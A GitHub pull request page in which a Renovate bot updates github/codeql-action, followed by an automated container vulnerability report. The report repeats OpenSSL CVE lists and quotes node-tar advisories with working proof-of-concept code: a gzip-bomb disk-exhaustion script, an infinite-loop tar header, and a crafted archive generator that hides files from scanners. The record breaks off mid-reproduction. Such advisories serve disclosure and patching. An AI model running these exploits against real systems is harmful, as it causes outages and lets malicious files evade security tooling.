Skip to content

Update github/codeql-action action to v4.37.6 - #2862

Merged
mergify[bot] merged 1 commit into
mainfrom
renovate/github-codeql-action-4.x
Aug 6, 2026
Merged

mergify[bot] merged 1 commit into
mainfrom
renovate/github-codeql-action-4.x

Conversation

@renovate

@renovate renovate Bot commented Aug 6, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Type Update Change
github/codeql-action action patch v4.37.4 → v4.37.6

Release Notes

github/codeql-action (github/codeql-action)

v4.37.6

Compare Source

  • Changed the default filepath for the new remote file address format that was introduced in CodeQL Action 4.37.0 / 3.37.0 to .github/codeql-config.yml to align it with the suggested path that is used elsewhere. #​4070

v4.37.5

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@semanticdiff-com

semanticdiff-com Bot commented Aug 6, 2026 •

Copy link
Copy Markdown

Review changes with  SemanticDiff

Changed Files
File Status
  .github/workflows/daily-malicious-code-scan.lock.yml  18% smaller

@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:45 Inactive
@deepsource-io

deepsource-io Bot commented Aug 6, 2026 •

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 44c1fc5...6f120b1 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall Grade   Security  

Reliability  

Complexity  

Hygiene  

Code Review Summary

Analyzer Status Updated (UTC) Details
Shell Aug 6, 2026 1:47a.m. Review ↗
Python Aug 6, 2026 1:47a.m. Review ↗
Docker Aug 6, 2026 1:47a.m. Review ↗
Secrets Aug 6, 2026 1:47a.m. Review ↗

Important

AI Review is run only on demand for your team. We're only showing results of static analysis review right now. To trigger AI Review, comment @deepsourcebot review on this thread.

@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:45 Inactive
@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:45 Inactive
@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:45 Inactive
@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:45 Inactive
@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:45 Inactive
@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:45 Inactive
@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:45 Inactive
@renovate
renovate Bot force-pushed the renovate/github-codeql-action-4.x branch from aff85db to 6f120b1 Compare August 6, 2026 01:47
@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:47 Inactive
@sonarqubecloud

sonarqubecloud Bot commented Aug 6, 2026

Copy link
Copy Markdown

@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:48 Inactive
@renovate
renovate Bot temporarily deployed to code_quality August 6, 2026 01:50 Inactive
@renovate
renovate Bot temporarily deployed to docker_image August 6, 2026 01:50 Inactive
@renovate
renovate Bot had a problem deploying to container_health August 6, 2026 01:53 Failure
@renovate
renovate Bot temporarily deployed to container_health August 6, 2026 01:53 Inactive
@renovate
renovate Bot had a problem deploying to container_health August 6, 2026 01:53 Failure
@renovate
renovate Bot temporarily deployed to container_health August 6, 2026 01:53 Inactive
@renovate
renovate Bot temporarily deployed to container_health August 6, 2026 01:53 Inactive
@renovate
renovate Bot temporarily deployed to container_health August 6, 2026 01:53 Inactive
@renovate
renovate Bot temporarily deployed to container_health August 6, 2026 01:53 Inactive
@MH0386

MH0386 commented Aug 6, 2026

Copy link
Copy Markdown
Contributor

🔍 Vulnerabilities of ghcr.io/alphaspheredotai/chattr:df33d75-pr-2862

📦 Image Reference ghcr.io/alphaspheredotai/chattr:df33d75-pr-2862
digestsha256:d97cbcfc3c805d7ad9549683852e175854379ad4a330c207b87b8c87c73a0940
vulnerabilitiescritical: 16 high: 65 medium: 32 low: 10 unspecified: 25
platformlinux/amd64
size283 MB
packages428
📦 Base Image cgr.dev/chainguard/wolfi-base:latest
digestsha256:016283cce63df878d2e7dbef006a36ad07a130eaa833ea6ecca53c022a855c7b
vulnerabilities
critical: 1 high: 9 medium: 5 low: 2 libcrypto3 3.6.2-r2 (apk)

pkg:apk/wolfi/libcrypto3@3.6.2-r2?arch=x86_64&origin=openssl

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.350%
EPSS Percentile28th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score5.236%
EPSS Percentile92nd percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.630%
EPSS Percentile47th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.589%
EPSS Percentile45th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.603%
EPSS Percentile45th percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile41st percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile64th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile61st percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile60th percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile43rd percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.996%
EPSS Percentile59th percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile33rd percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.363%
EPSS Percentile29th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.455%
EPSS Percentile37th percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile44th percentile
Description
critical: 1 high: 9 medium: 5 low: 2 libcrypto3 3.6.2-r2 (apk)

pkg:apk/wolfi/libcrypto3@3.6.2-r2?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.350%
EPSS Percentile28th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score5.236%
EPSS Percentile92nd percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.630%
EPSS Percentile47th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.589%
EPSS Percentile45th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.603%
EPSS Percentile45th percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile41st percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile64th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile61st percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile60th percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile43rd percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.996%
EPSS Percentile59th percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile33rd percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.363%
EPSS Percentile29th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.455%
EPSS Percentile37th percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile44th percentile
Description
critical: 1 high: 9 medium: 5 low: 2 libcrypto3 3.6.2-r2 (apk)

pkg:apk/wolfi/libcrypto3@3.6.2-r2?arch=x86_64&distro=wolfi-20230201&upstream=openssl

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.350%
EPSS Percentile28th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score5.236%
EPSS Percentile92nd percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.630%
EPSS Percentile47th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.589%
EPSS Percentile45th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.603%
EPSS Percentile45th percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile41st percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile64th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile61st percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile60th percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile43rd percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.996%
EPSS Percentile59th percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile33rd percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.363%
EPSS Percentile29th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.455%
EPSS Percentile37th percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile44th percentile
Description
critical: 1 high: 9 medium: 5 low: 2 libssl3 3.6.2-r2 (apk)

pkg:apk/wolfi/libssl3@3.6.2-r2?arch=x86_64&distro=wolfi-20230201&upstream=openssl

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.350%
EPSS Percentile28th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score5.236%
EPSS Percentile92nd percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.630%
EPSS Percentile47th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.589%
EPSS Percentile45th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.603%
EPSS Percentile45th percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile41st percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile64th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile61st percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile60th percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile43rd percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.996%
EPSS Percentile59th percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile33rd percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.363%
EPSS Percentile29th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.455%
EPSS Percentile37th percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile44th percentile
Description
critical: 1 high: 1 medium: 4 low: 0 tar 7.5.13 (npm)

pkg:npm/tar@7.5.13

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

critical 9.2: CVE--2026--59873 Allocation of Resources Without Limits or Throttling

Affected range<=7.5.18
Fixed version7.5.19
CVSS Score9.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
EPSS Score0.424%
EPSS Percentile35th percentile
Description

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details

The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC

The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

  1. Create the exploit script:
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
  1. Run the PoC:
node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

high 8.7: CVE--2026--59874 Loop with Unreachable Exit Condition ('Infinite Loop')

Affected range<=7.5.17
Fixed version7.5.18
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.418%
EPSS Percentile34th percentile
Description

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true

Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

medium 6.9: CVE--2026--53655 Interpretation Conflict

Affected range<=7.5.15
Fixed version7.5.16
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.141%
EPSS Percentile4th percentile
Description

Summary

tar (node-tar) applies a PAX extended header's size= record (and other PAX
overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the next file entry, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /
astral-tokio-tar).

The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.

Impact

  • CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as
    the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and
    GHSA-fp55-jw48-c537).
  • A crafted archive can present one logical member list to a tool that lists or
    scans with node-tar and a different member list to GNU tar / libarchive /
    Python tarfile (and vice versa). This lets a malicious file be hidden from a
    scanner that uses a different parser than the eventual extractor, or hidden
    from node-tar-based inspection while still landing on disk via a system tar.
  • No authentication is required; the only precondition is that a victim parses
    an attacker-supplied tar with node-tar. Tar archives are routinely fetched
    from untrusted sources (package registries, user uploads, CI artifacts,
    container layers).
  • Severity: Medium. Impact is integrity-of-archive-interpretation, not direct
    RCE; it is a building block for supply-chain / scanner-evasion attacks rather
    than a standalone code-execution primitive.

Vulnerable code (file:line)

src/header.ts (compiled to dist/esm/header.js:49 and
dist/commonjs/header.js:85 in the published tar@<!-- -->7.5.15):

// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)

ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real file entry rather than an intermediary
extension header.

src/parse.ts, [CONSUMEHEADER] constructs the next header with the current
EX/GEX applied:

const header = new Header(chunk, position, this[EX], this[GEX])

and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:

if (entry.meta) {
  // L / K / x / g metadata entries: this[EX] is left intact here
  if (entry.size > this.maxMetaEntrySize) {
    entry.ignore = true
    this[STATE] = 'ignore'
    entry.resume()
  } else if (entry.size > 0) {
    this[META] = ''
    entry.on('data', c => (this[META] += c))
    this[STATE] = 'meta'
  }
} else {
  this[EX] = undefined   // EX cleared only once a real file entry is reached
}

When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the
L header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following file entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).

How input reaches the sink

tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser —
reaches the sink. No options need to be enabled; the default code path is
affected.

Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

block 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x  payload : the single PAX record  "...size=2048\n"
block 2 : L  header  (GNU long-name '././@<!-- -->LongLink'), real size = 13
block 3 : L  payload : "longname.txt\0"      (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)

Generator (make_tar.py, pure stdlib, no external deps):

def hdr(name, size, typeflag):
    h = bytearray(512); name = name[:100]; h[0:len(name)] = name
    h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
    h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
    h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
    h[148:156] = b' ' * 8
    cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
    return bytes(h)

def pad(d):
    return d + b'\0' * ((512 - len(d) % 512) % 512)

def pax_record(key, val):              # length-prefixed PAX record "LEN key=val\n"
    body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
    while True:
        s = str(n).encode() + body
        if len(s) == n: break
        n = len(s)
    return s

pax = pax_record('size', 2048)         # malicious: claim size=2048 for the "next" entry
out  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@<!-- -->LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)

A negative-control archive is identical except the PAX record is
pax_record('comment', 'x') (no size=), written to pax-control.tar.

End-to-end reproduction (against pinned version tar@<!-- -->7.5.15, latest release)

Install the published package into a clean project and parse both archives:

$ npm init -y >/dev/null && npm install tar@<!-- -->7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);

e2e.mjs:

import * as tar from 'tar'
async function listEntries(f){
  const got=[], warns=[]
  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
                   onwarn:(code,_msg)=>warns.push(code) })
  return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))

Verbatim output:

=== Deployed-consumer E2E: npm tar@<!-- -->7.5.15 (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
  tar.list() entries : []
  tar.list() warnings: ["TAR_ENTRY_INVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
  tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
  tar.list() warnings: []

Reference parsers on the same pax-desync.tar:

$ tar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar

$ bsdtar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
